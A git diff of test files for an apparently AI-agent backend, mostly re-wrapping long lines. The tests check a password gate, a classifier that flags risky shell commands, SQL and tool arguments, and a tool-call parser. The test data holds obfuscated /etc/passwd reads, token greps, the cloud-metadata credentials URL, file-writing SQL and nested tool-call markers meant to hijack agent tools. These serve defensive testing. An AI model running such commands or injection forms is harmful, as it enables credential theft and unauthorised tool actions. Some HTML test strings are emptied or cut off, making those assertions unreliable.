run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False) + monkeypatch.setattr( + terminal_prompt, "prompt_for_password_change", lambda **k: False + ) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + False, + False, + ) def test_gate_success_applies_route_equivalent_change(monkeypatch): @@ -197,12 +222,17 @@ def test_gate_success_applies_route_equivalent_change(monkeypatch): return True monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", _fake_prompt) - assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + True, + True, + ) admin = auth_storage.DEFAULT_ADMIN_USERNAME # One atomic call: refresh tokens revoked in the same transaction as the # password commit (a separable follow-up delete can fail and leave a # pre-change refresh token able to mint access tokens). - assert calls == [("update", admin, "brand-new-password", {"revoke_refresh_tokens": True})] + assert calls == [ + ("update", admin, "brand-new-password", {"revoke_refresh_tokens": True}) + ] # ── ordering inside run_server (source-level, repo convention) ─────── @@ -276,7 +306,9 @@ def test_clear_bootstrap_password_truncates_when_unlink_fails(monkeypatch, tmp_p assert auth_storage._load_bootstrap_password() is None -def test_clear_bootstrap_password_warns_truthfully_when_not_cleared(monkeypatch, tmp_path, capsys): +def test_clear_bootstrap_password_warns_truthfully_when_not_cleared( + monkeypatch, tmp_path, capsys +): # If the file can be neither unlinked NOR truncated, the stale plaintext stays # on disk. The warning must NOT claim it was made unreusable (Codex 3571888584): # it must say it could not be cleared and ask the user to remove it manually. @@ -331,9 +363,13 @@ def _seed_stub_admin( salt, pwd_hash = hashing.hash_password(bootstrap_pw) monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False) - monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change) monkeypatch.setattr( - auth_storage, "get_user_and_secret", lambda u: (salt, pwd_hash, "jwt", requires_change) + auth_storage, "requires_password_change", lambda u: requires_change + ) + monkeypatch.setattr( + auth_storage, + "get_user_and_secret", + lambda u: (salt, pwd_hash, "jwt", requires_change), ) calls = [] monkeypatch.setattr( @@ -377,7 +413,9 @@ def test_apply_supplied_password_too_short_fails_closed(monkeypatch): def test_apply_supplied_password_must_differ_fails_closed(monkeypatch): - calls = _seed_stub_admin(monkeypatch, requires_change = True, bootstrap_pw = "bootstrap-secret") + calls = _seed_stub_admin( + monkeypatch, requires_change = True, bootstrap_pw = "bootstrap-secret" + ) monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "bootstrap-secret") with pytest.raises(SystemExit) as exc: run._apply_supplied_password(None) diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py index 4fc64a6291..533bded092 100644 --- a/studio/backend/tests/test_permission_mode.py +++ b/studio/backend/tests/test_permission_mode.py @@ -233,7 +233,10 @@ def _clear_pending(): ("grep -R TOKEN ~/logs", True), # tilde-home recursive root escapes ("cat /etc/pass{w,}d", True), # brace expansion builds /etc/passwd ("cat report{1,2}.txt", False), # benign brace stays safe - ("cat /e{t,}c/pass?d", True), # brace-expanded candidate then a glob resolves it + ( + "cat /e{t,}c/pass?d", + True, + ), # brace-expanded candidate then a glob resolves it ("cat /et{c,}/pass?d", True), # brace + glob in the tail ("cat repo/d{1,2}/f?.txt", False), # benign brace + glob stays safe ("cat /etc/pass${x:-wd}", True), # default param expansion builds path @@ -269,7 +272,10 @@ def _clear_pending(): ("g=abc; cat /$g/readme", False), # benign assigned path stays safe ("cat /etc/pass[[:lower:]]d", True), # POSIX class glob builds /etc/passwd ("x=passwd; p=x; cat /etc/${!p}", True), # indirect expansion builds path - ("x=notes; p=x; cat /home/${!p}", False), # benign indirect expansion stays safe + ( + "x=notes; p=x; cat /home/${!p}", + False, + ), # benign indirect expansion stays safe ("cat Report

Summary

") is False assert ( - rh("
") is False + rh( + "
" + ) + is False ) assert rh("") is False assert rh("") is False @@ -974,10 +1142,16 @@ def test_render_html_gated_only_when_networked(): # see (a module worker from a CORS CDN, or a blob/same-origin worker that # fetches/importScripts) under worker-src http: https: blob:, so they ask. assert rh("") is True - assert rh("") is True + assert ( + rh("") is True + ) assert rh("") is True - assert rh("") is False # not a ctor - assert rh("") is False # unrelated class, not a real Worker + assert ( + rh("") is False + ) # not a ctor + assert ( + rh("") is False + ) # unrelated class, not a real Worker # Resource-loading forms beyond a direct fetch also reach the network. assert rh("") is True assert rh("") is True @@ -1004,7 +1178,9 @@ def test_render_html_gated_only_when_networked(): # A meta-refresh with a url navigates the frame to an external origin. assert rh('') is True assert rh("") is True - assert rh('') is False # self-reload, no url + assert ( + rh('') is False + ) # self-reload, no url assert rh('

Hi

') is False # ordinary meta stays safe @@ -1066,7 +1242,10 @@ def test_is_always_safe_tool(): ("get_primary_key", False), # a schema key is not a credential ("search_keyboard_shortcuts", False), # 'key' inside another word stays safe ("list_bookmarks", False), # 'mark' substring in a token stays safe - ("list_notifications", False), # 'notify' is a different token than 'notifications' + ( + "list_notifications", + False, + ), # 'notify' is a different token than 'notifications' ], ) def test_mcp_classifier(tool, unsafe): @@ -1084,7 +1263,9 @@ def test_mcp_classifier(tool, unsafe): ({"name": "AWS_SECRET_ACCESS_KEY"}, True), ({"key": "DATABASE_PASSWORD"}, True), ( - {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}, + { + "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" + }, True, ), # AWS instance-metadata host ( @@ -1112,74 +1293,161 @@ def test_mcp_sensitive_arguments(args, unsafe): ({"query": "UPDATE t SET x=1"}, True), ({"query": "INSERT INTO t VALUES (1)"}, True), ({"query": "SELECT * FROM runs"}, False), # read query stays safe - ({"query": "how to delete old files"}, False), # NL text with 'delete' stays safe - ({"query": "find the created_at column"}, False), # 'created' substring stays safe + ( + {"query": "how to delete old files"}, + False, + ), # NL text with 'delete' stays safe + ( + {"query": "find the created_at column"}, + False, + ), # 'created' substring stays safe ({"query": "DELETE/**/FROM runs"}, True), # inline SQL comment as whitespace ({"query": "UPDATE/**/t SET x=1"}, True), ({"query": "DROP/**/TABLE users"}, True), - ({"query": "SELECT * FROM runs -- delete later"}, False), # trailing comment stays safe + ( + {"query": "SELECT * FROM runs -- delete later"}, + False, + ), # trailing comment stays safe ({"query": "COPY users FROM '/tmp/u.csv'"}, True), # bulk load writes the table ({"query": "COPY users (id, name)\nFROM STDIN"}, True), # multiline COPY FROM - ({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True), # COPY TO writes a server file - ({"query": "SELECT copy_count FROM t"}, False), # 'copy' substring column stays safe + ( + {"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, + True, + ), # COPY TO writes a server file + ( + {"query": "SELECT copy_count FROM t"}, + False, + ), # 'copy' substring column stays safe ({"query": "mutation { deleteIssue(id: 1) }"}, True), # GraphQL mutation - ({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True), # named GraphQL mutation - ({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True), # comment before body - ({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True), # comment before name - ({"query": "query { issue(id: 1) { title } }"}, False), # GraphQL read query stays safe - ({"query": "{ issue(id: 1) { title } }"}, False), # shorthand GraphQL query stays safe - ({"query": "query # note\n { issue(id: 1) }"}, False), # commented read query stays safe - ({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True), # DDL with a modifier + ( + {"query": "mutation DelIssue { deleteIssue(id: 1) }"}, + True, + ), # named GraphQL mutation + ( + {"query": "mutation # note\n { deleteIssue(id: 1) }"}, + True, + ), # comment before body + ( + {"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, + True, + ), # comment before name + ( + {"query": "query { issue(id: 1) { title } }"}, + False, + ), # GraphQL read query stays safe + ( + {"query": "{ issue(id: 1) { title } }"}, + False, + ), # shorthand GraphQL query stays safe + ( + {"query": "query # note\n { issue(id: 1) }"}, + False, + ), # commented read query stays safe + ( + {"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, + True, + ), # DDL with a modifier ({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True), # DDL with UNIQUE ({"query": "CREATE TEMP TABLE t (id int)"}, True), # DDL with TEMP - ({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True), # materialized view DDL + ( + {"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, + True, + ), # materialized view DDL ({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True), # function DDL - ({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True), # persists server config + ( + {"query": "ALTER SYSTEM SET work_mem = '1GB'"}, + True, + ), # persists server config ({"query": "alter system reset all"}, True), # ALTER SYSTEM RESET - ({"query": "SELECT * FROM system_logs"}, False), # 'system' as a table name stays safe - ({"query": "SELECT * FROM created_view"}, False), # 'create' substring stays safe + ( + {"query": "SELECT * FROM system_logs"}, + False, + ), # 'system' as a table name stays safe + ( + {"query": "SELECT * FROM created_view"}, + False, + ), # 'create' substring stays safe ({"query": "CALL delete_all_users()"}, True), # stored procedure invocation ({"query": "EXEC purge_queue"}, True), # EXEC procedure ({"query": "EXECUTE sp_drop"}, True), # EXECUTE procedure ({"query": "VACUUM INTO 'backup.db'"}, True), # VACUUM rewrites the database ({"query": "please call me back later"}, False), # NL 'call' stays safe - ({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True), # attaches a database file + ( + {"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, + True, + ), # attaches a database file ({"query": "DETACH DATABASE x"}, True), # detaches a database ({"query": "PRAGMA user_version = 42"}, True), # write-form PRAGMA ({"query": "PRAGMA journal_mode=WAL"}, True), # write-form PRAGMA (no spaces) ({"query": "PRAGMA foreign_keys(0)"}, True), # call-form PRAGMA write ({"query": "SELECT load_extension('/tmp/evil.so')"}, True), # loads native code ({"query": "PRAGMA journal_mode"}, False), # read-form PRAGMA stays safe - ({"query": "can you attach the report to the email"}, False), # NL 'attach' stays safe + ( + {"query": "can you attach the report to the email"}, + False, + ), # NL 'attach' stays safe ({"query": "ATTACH '/tmp/x.db' AS x"}, True), # ATTACH without DATABASE keyword - ({"query": "PRAGMA main.user_version = 1"}, True), # schema-qualified write PRAGMA + ( + {"query": "PRAGMA main.user_version = 1"}, + True, + ), # schema-qualified write PRAGMA ({"query": "attach it as draft"}, False), # NL 'attach ... as' stays safe ({"query": "DROP FUNCTION f()"}, True), # DROP of a non-table object - ({"query": "ALTER INDEX idx RENAME TO idx2"}, True), # ALTER of a non-table object + ( + {"query": "ALTER INDEX idx RENAME TO idx2"}, + True, + ), # ALTER of a non-table object ({"query": "DROP MATERIALIZED VIEW mv"}, True), # DROP with a modifier ({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True), # ALTER USER mutates - ({"query": "SELECT dropped_at FROM t"}, False), # 'drop' substring column stays safe - ({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True), # directive GraphQL mutation + ( + {"query": "SELECT dropped_at FROM t"}, + False, + ), # 'drop' substring column stays safe + ( + {"query": "mutation M @audit { deleteIssue(id: 1) }"}, + True, + ), # directive GraphQL mutation ( {"query": "query Q @cached { issue(id: 1) { title } }"}, False, ), # directive GraphQL read stays safe ({"query": 'UPDATE "users" SET admin=1'}, True), # double-quoted UPDATE target ({"query": "UPDATE public.users SET admin=1"}, True), # schema-qualified UPDATE - ({"query": "UPDATE ONLY public.users SET admin=1"}, True), # ONLY-qualified UPDATE + ( + {"query": "UPDATE ONLY public.users SET admin=1"}, + True, + ), # ONLY-qualified UPDATE ({"query": "UPDATE `users` SET admin=1"}, True), # backtick-quoted UPDATE ({"query": "UPDATE [users] SET admin=1"}, True), # bracket-quoted UPDATE - ({"query": "please update the documentation set"}, False), # NL 'update ... set' stays safe - ({"query": "SELECT pg_terminate_backend(123)"}, True), # state-changing SQL function + ( + {"query": "please update the documentation set"}, + False, + ), # NL 'update ... set' stays safe + ( + {"query": "SELECT pg_terminate_backend(123)"}, + True, + ), # state-changing SQL function ({"query": "SELECT setval('s', 1)"}, True), # sequence mutation function - ({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True), # server-side file write - ({"query": "SELECT lo_export(123, '/tmp/p')"}, True), # large-object export to a file - ({"query": "SELECT setval_col FROM t"}, False), # 'setval' column prefix stays safe + ( + {"query": "SELECT pg_write_file('/tmp/p', 'x')"}, + True, + ), # server-side file write + ( + {"query": "SELECT lo_export(123, '/tmp/p')"}, + True, + ), # large-object export to a file + ( + {"query": "SELECT setval_col FROM t"}, + False, + ), # 'setval' column prefix stays safe ( {"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"}, True, ), # INTO OUTFILE write - ({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True), # INTO DUMPFILE write + ( + {"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, + True, + ), # INTO DUMPFILE write ( {"query": "SELECT count(*) INTO cnt FROM t"}, False, @@ -1187,29 +1455,62 @@ def test_mcp_sensitive_arguments(args, unsafe): ({"query": "REFRESH MATERIALIZED VIEW mv"}, True), # materialized view rewrite ({"query": "REINDEX INDEX idx"}, True), # index rebuild ({"query": "REINDEX TABLE t"}, True), # table reindex - ({"query": "SELECT refresh_count FROM t"}, False), # 'refresh' column stays safe + ( + {"query": "SELECT refresh_count FROM t"}, + False, + ), # 'refresh' column stays safe ({"query": "please refresh the page"}, False), # NL 'refresh' stays safe - ({"query": "COMMENT ON TABLE users IS 'owned'"}, True), # catalog metadata write + ( + {"query": "COMMENT ON TABLE users IS 'owned'"}, + True, + ), # catalog metadata write ({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True), # explicit lock - ({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True), # security label write - ({"query": "CREATE POLICY p ON accounts USING (true)"}, True), # row-security policy DDL + ( + {"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, + True, + ), # security label write + ( + {"query": "CREATE POLICY p ON accounts USING (true)"}, + True, + ), # row-security policy DDL ({"query": "SELECT comment FROM t"}, False), # 'comment' column stays safe ({"query": "SELECT * FROM locks"}, False), # 'locks' table stays safe ({"query": "SELECT nextval('billing_seq')"}, True), # sequence advance mutates ({"query": "SELECT pg_advisory_lock(42)"}, True), # advisory lock changes state - ({"query": "SELECT pg_notify('jobs', 'wake')"}, True), # server-side notification + ( + {"query": "SELECT pg_notify('jobs', 'wake')"}, + True, + ), # server-side notification ({"query": "SELECT set_config('x', 'y', false)"}, True), # session config write - ({"query": "SELECT nextval_col FROM t"}, False), # 'nextval' column prefix stays safe + ( + {"query": "SELECT nextval_col FROM t"}, + False, + ), # 'nextval' column prefix stays safe ({"query": "TRUNCATE users"}, True), # multi-char table name (bare TRUNCATE) ({"query": "TRUNCATE TABLE accounts"}, True), # multi-char TRUNCATE TABLE ({"query": 'TRUNCATE TABLE "users"'}, True), # quoted TRUNCATE target - ({"query": "TRUNCATE accounts RESTART IDENTITY"}, True), # TRUNCATE with options - ({"query": "SELECT truncate_log FROM t"}, False), # 'truncate' column stays safe - ({"query": "UPDATE users AS u SET admin=1"}, True), # aliased UPDATE target (AS) + ( + {"query": "TRUNCATE accounts RESTART IDENTITY"}, + True, + ), # TRUNCATE with options + ( + {"query": "SELECT truncate_log FROM t"}, + False, + ), # 'truncate' column stays safe + ( + {"query": "UPDATE users AS u SET admin=1"}, + True, + ), # aliased UPDATE target (AS) ({"query": 'UPDATE "users" AS u SET x=1'}, True), # quoted+aliased UPDATE - ({"query": "UPDATE public.users AS u SET x=1"}, True), # schema-qualified aliased UPDATE + ( + {"query": "UPDATE public.users AS u SET x=1"}, + True, + ), # schema-qualified aliased UPDATE ({"query": "SELECT * FROM users AS u"}, False), # aliased SELECT stays safe - ({"query": "please update the documentation set"}, False), # NL, no AS, stays safe + ( + {"query": "please update the documentation set"}, + False, + ), # NL, no AS, stays safe ({"query": "GRANT SELECT ON t TO u"}, True), # privilege grant (multi-word) ({"query": "REVOKE ALL ON t FROM u"}, True), # privilege revoke (multi-word) ({"query": "SELECT * FROM grants"}, False), # 'grants' table stays safe @@ -1290,7 +1591,9 @@ def _drive(turns, decisions, **loop_kwargs): for ev in gen: events.append(ev) if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"): - resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session) + resolve_tool_decision( + ev["approval_id"], next(decision_iter), session_id = session + ) return events, exec_fn @@ -1316,7 +1619,9 @@ def test_auto_mode_does_not_gate_safe_calls(): permission_mode = "auto", ) starts = _tool_starts(events) - assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn) + assert starts and starts[0]["awaiting_confirmation"] is False, _diag( + events, exec_fn + ) assert starts[0]["approval_id"] == "" assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn) assert exec_fn.disable_sandbox_seen == [False], _diag( @@ -1368,7 +1673,9 @@ def test_off_mode_never_gates_and_keeps_sandbox(): permission_mode = "off", ) starts = _tool_starts(events) - assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn) + assert starts and starts[0]["awaiting_confirmation"] is False, _diag( + events, exec_fn + ) assert starts[0]["approval_id"] == "" assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn) @@ -1381,7 +1688,9 @@ def test_full_mode_never_gates_and_drops_sandbox(): permission_mode = "full", ) starts = _tool_starts(events) - assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn) + assert starts and starts[0]["awaiting_confirmation"] is False, _diag( + events, exec_fn + ) assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn) @@ -1394,7 +1703,9 @@ def test_bypass_flag_implies_full_mode(): bypass_permissions = True, ) starts = _tool_starts(events) - assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn) + assert starts and starts[0]["awaiting_confirmation"] is False, _diag( + events, exec_fn + ) assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn) @@ -1424,7 +1735,9 @@ def test_unknown_permission_mode_normalizes_to_ask_on_request_models(): ) assert req.permission_mode == "ask", (cls.__name__, unknown) assert ( - cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode + cls( + messages = [{"role": "user", "content": "hi"}], permission_mode = None + ).permission_mode is None ) for known in ("ask", "auto", "off", "full"): @@ -1524,7 +1837,10 @@ def test_permission_mode_confirm_derivation(): # An explicit confirm flag always wins (True gates, False opts out). assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True - assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False + assert ( + _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) + is False + ) # Explicit ask/auto always engage the gate (a non-streaming one is rejected # by the guard that reads this). assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True @@ -1549,9 +1865,14 @@ def test_confirm_gate_needs_stream(): safe = ["web_search", "search_knowledge_base"] # auto + a safe-only selection never prompts -> no stream needed. - assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False assert ( - _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"])) + _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) + is False + ) + assert ( + _confirm_gate_needs_stream( + req(permission_mode = "auto", enabled_tools = ["web_search"]) + ) is False ) # render_html can prompt when its canvas reaches the network, so a selection @@ -1565,9 +1886,15 @@ def test_confirm_gate_needs_stream(): # But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an # explicit confirm flag all still require streaming under auto. assert ( - _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True + _confirm_gate_needs_stream( + req(permission_mode = "auto", enabled_tools = ["terminal"]) + ) + is True + ) + assert ( + _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) + is True ) - assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True assert ( _confirm_gate_needs_stream( req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True) @@ -1576,19 +1903,34 @@ def test_confirm_gate_needs_stream(): ) assert ( _confirm_gate_needs_stream( - req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True) + req( + permission_mode = "auto", + enabled_tools = ["web_search"], + confirm_tool_calls = True, + ) ) is True ) # An explicit empty selection runs no built-in tool, so nothing can prompt and # no stream is needed (distinct from an omitted list, which means all tools). assert ( - _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = [])) + _confirm_gate_needs_stream( + req(permission_mode = "auto", enable_tools = True, enabled_tools = []) + ) is False ) # ask prompts for every call, so even a safe-only selection needs streaming. - assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True + assert ( + _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) + is True + ) # off/full never prompt; unset non-streaming keeps the legacy run-without-gate. - assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False - assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False + assert ( + _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) + is False + ) + assert ( + _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) + is False + ) assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False diff --git a/studio/backend/tests/test_personalization_settings.py b/studio/backend/tests/test_personalization_settings.py index 7b5e70decc..0c8ea6d052 100644 --- a/studio/backend/tests/test_personalization_settings.py +++ b/studio/backend/tests/test_personalization_settings.py @@ -79,9 +79,13 @@ def test_customization_invalid_values_rejected(): {"appearance": {"customization": {"colors": {"light": {"accent": "red"}}}}} ) with pytest.raises(ValidationError): - PersonalizationPayload.model_validate({"appearance": {"customization": {"uiFontSize": 99}}}) + PersonalizationPayload.model_validate( + {"appearance": {"customization": {"uiFontSize": 99}}} + ) with pytest.raises(ValidationError): - PersonalizationPayload.model_validate({"appearance": {"customization": {"contrast": 500}}}) + PersonalizationPayload.model_validate( + {"appearance": {"customization": {"contrast": 500}}} + ) with pytest.raises(ValidationError): PersonalizationPayload.model_validate( {"appearance": {"customization": {"reduceMotion": "sometimes"}}} @@ -149,7 +153,9 @@ def test_customization_imported_fonts_validated(): { "appearance": { "customization": { - "importedFonts": [{"name": "My Font", "dataUrl": "data:font/woff2;base64,AAAA"}] + "importedFonts": [ + {"name": "My Font", "dataUrl": "data:font/woff2;base64,AAAA"} + ] } } } @@ -161,7 +167,10 @@ def test_customization_imported_fonts_validated(): "appearance": { "customization": { "importedFonts": [ - {"name": "Evil", "dataUrl": "https://example.com/font.woff2"} + { + "name": "Evil", + "dataUrl": "https://example.com/font.woff2", + } ] } } @@ -173,7 +182,10 @@ def test_customization_imported_fonts_validated(): "appearance": { "customization": { "importedFonts": [ - {"name": f"Font {i}", "dataUrl": "data:font/ttf;base64,AAAA"} + { + "name": f"Font {i}", + "dataUrl": "data:font/ttf;base64,AAAA", + } for i in range(4) ] } @@ -189,7 +201,17 @@ def _imported(fonts): def test_imported_font_name_rejects_css_characters(): # Includes backslash (escapes the quoted family), comma/slash (extra # fallbacks / comment start), and a control character. - for bad in ['Ev"il', "Ev;il", "Ev{il", "Ev" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}' + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city":"Tokyo"}' # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜> ) calls = parse_tool_calls_from_text(text) @@ -511,7 +517,9 @@ def test_glm_value_containing_literal_arg_value_close_is_preserved(): ) calls = parse_tool_calls_from_text(content) assert len(calls) == 1, calls - assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + assert json.loads(calls[0]["function"]["arguments"]) == { + "code": 'print("")' + } def test_attribute_form_function_with_embedded_marker_runs_outer_call(): @@ -530,7 +538,9 @@ def test_attribute_form_function_with_embedded_marker_runs_outer_call(): def test_wrapperless_gemma_call_gated_by_enabled_tools(): # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is # indistinguishable from prose documenting the Gemma syntax. - prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work." + prose = ( + "Here is an example of the syntax: call:foo{x:1}. That shows how tools work." + ) assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == [] # The display strip is gated the same way, so the example survives in the answer. assert "call:foo{x:1}" in strip_tool_markup( @@ -572,9 +582,7 @@ def test_closed_envelope_before_deepseek_block_owns_turn(): "```" "<｜tool▁call▁end｜><｜tool▁calls▁end｜>" ) - prose = ( - 'A Qwen call looks like {"name":"example_tool","arguments":{}}.\n' - ) + prose = 'A Qwen call looks like {"name":"example_tool","arguments":{}}.\n' calls = parse_tool_calls_from_text(prose + deepseek) assert [c["function"]["name"] for c in calls] == ["example_tool"], calls @@ -582,15 +590,15 @@ def test_closed_envelope_before_deepseek_block_owns_turn(): "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0" '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>' ) - calls_k = parse_tool_calls_from_text("Example: {} and now:\n" + kimi) + calls_k = parse_tool_calls_from_text( + "Example: {} and now:\n" + kimi + ) assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k def test_marker_inside_closed_outer_envelope_still_runs_outer_call(): # The guard must fire when the marker sits INSIDE a closed outer / envelope's arguments: the OUTER call wins. - outer = ( - "what does <｜tool▁calls▁begin｜> mean" - ) + outer = "what does <｜tool▁calls▁begin｜> mean" calls = parse_tool_calls_from_text(outer) # The outer envelope is the real call; the embedded DeepSeek marker must not # hijack the parse into a spurious tool. @@ -691,7 +699,8 @@ def test_r1_heal_keeps_later_call_when_first_omits_close_fence(): assert "get_time" in heal, heal # Strict keeps the later well-formed call; heal must be a superset. strict = [ - c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False) + c["function"]["name"] + for c in parse_tool_calls_from_text(text, allow_incomplete = False) ] assert set(strict) <= set(heal), (strict, heal) @@ -699,7 +708,9 @@ def test_r1_heal_keeps_later_call_when_first_omits_close_fence(): def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call(): # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name. text = 'call:web_search{query:"explain call:delete_all{target:files}"}' - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "delete_all"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"], calls assert json.loads(calls[0]["function"]["arguments"]) == { "query": "explain call:delete_all{target:files}" @@ -708,7 +719,9 @@ def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call(): two = "call:web_search{query:hi}call:get_time{tz:UTC}" assert [ c["function"]["name"] - for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"}) + for c in parse_tool_calls_from_text( + two, enabled_tool_names = {"web_search", "get_time"} + ) ] == ["web_search", "get_time"] @@ -718,7 +731,9 @@ def test_leading_bare_json_call_owns_quoted_gemma_snippet(): '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n' "That is the call I would make." ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"lookup", "web_search"} + ) assert [c["function"]["name"] for c in calls] == ["lookup"], calls assert json.loads(calls[0]["function"]["arguments"]) == { "note": "use call:web_search{query:cats} for this" @@ -730,14 +745,20 @@ def test_leading_bare_json_call_owns_quoted_gemma_snippet(): '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};' '{"name":"lookup","parameters":{"q":"second"}}' ) - calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"}) + calls_two = parse_tool_calls_from_text( + two, enabled_tool_names = {"lookup", "web_search"} + ) assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two def test_leading_gemma_call_still_wins_over_trailing_json_example(): # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object). - text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}' - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"}) + text = ( + 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}' + ) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "demo_tool"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"], calls # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the @@ -750,7 +771,9 @@ def test_leading_gemma_call_still_wins_over_trailing_json_example(): def test_leading_gemma_call_owns_quoted_mistral_trigger(): # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data. text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}' - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "delete_all"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"], calls assert json.loads(calls[0]["function"]["arguments"]) == { "query": "docs say [TOOL_CALLS]delete_all{}" @@ -758,7 +781,9 @@ def test_leading_gemma_call_owns_quoted_mistral_trigger(): # Reverse control: a real leading Mistral call still parses normally. real = '[TOOL_CALLS]delete_all{"x":1}' - calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"}) + calls_m = parse_tool_calls_from_text( + real, enabled_tool_names = {"web_search", "delete_all"} + ) assert [c["function"]["name"] for c 